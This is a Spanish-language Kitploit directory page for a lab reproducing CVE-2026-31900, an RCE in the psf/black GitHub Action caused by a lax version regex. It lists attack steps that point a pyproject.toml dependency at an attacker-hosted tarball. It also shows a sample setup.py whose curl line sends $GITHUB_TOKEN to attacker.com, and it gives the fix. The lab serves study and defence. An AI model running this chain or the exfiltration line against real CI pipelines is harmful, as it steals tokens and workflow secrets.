Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
Análisis de VulnerabilidadesExplotaciónSeguridad WebSeguridad de Cadena de SuministroAprendizaje y EducaciónLabs y Práctica
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

CVE-2026-31900 Laboratorio Vulnerable - psf/black GitHub Action RCE

Ver Repositorio
11hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-31900 — Laboratorio Vulnerable

psf/black GitHub Action RCE mediante validación de regex insegura

CampoDetalle
CVECVE-2026-31900
CVSS8.7 (Alto)
AvisoGHSA-v53h-f6m7-xcgm
Afectadopsf/black GitHub Action < v26.3.0
TipoRCE mediante cadena de suministro (desencadenante pull_request)

Vulnerabilidad

La opción use_pyproject: true lee la versión de Black desde pyproject.toml. La regex utilizada para validar la cadena de versión es demasiado permisiva debido a re.IGNORECASE, permitiendo caracteres como espacio, @, : y / — exactamente lo necesario para un requisito de URL PEP 508.

Regex Vulnerable

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

Vector de Ataque

  1. Haz un fork de este repositorio
  2. Modifica pyproject.toml en tu fork:
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. Abre una Pull Request → se activa el desencadenante del flujo de trabajo pull_request
  2. La Action lee la versión maliciosa desde pyproject.toml, omitiendo la validación de regex
  3. pip instala el paquete controlado por el atacante → setup.py ejecuta código arbitrario

Ejemplo de setup.py de Paquete Malicioso

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

Impacto de Robo de Credenciales

  • $GITHUB_TOKEN (token del runner de CI)
  • Cualquier secreto inyectado en el entorno del flujo de trabajo

Solución

Actualiza a psf/black v26.3.0 o fija la versión explícitamente en el YAML del flujo de trabajo en lugar de usar use_pyproject: true.

Estructura del Laboratorio

root@kitploit:~
.github/workflows/black.yml   ← Flujo de trabajo vulnerable (use_pyproject: true)
pyproject.toml                ← Configuración legítima (rama principal)
app.py                        ← Archivo Python de ejemplo que se está formateando
Descargar herramienta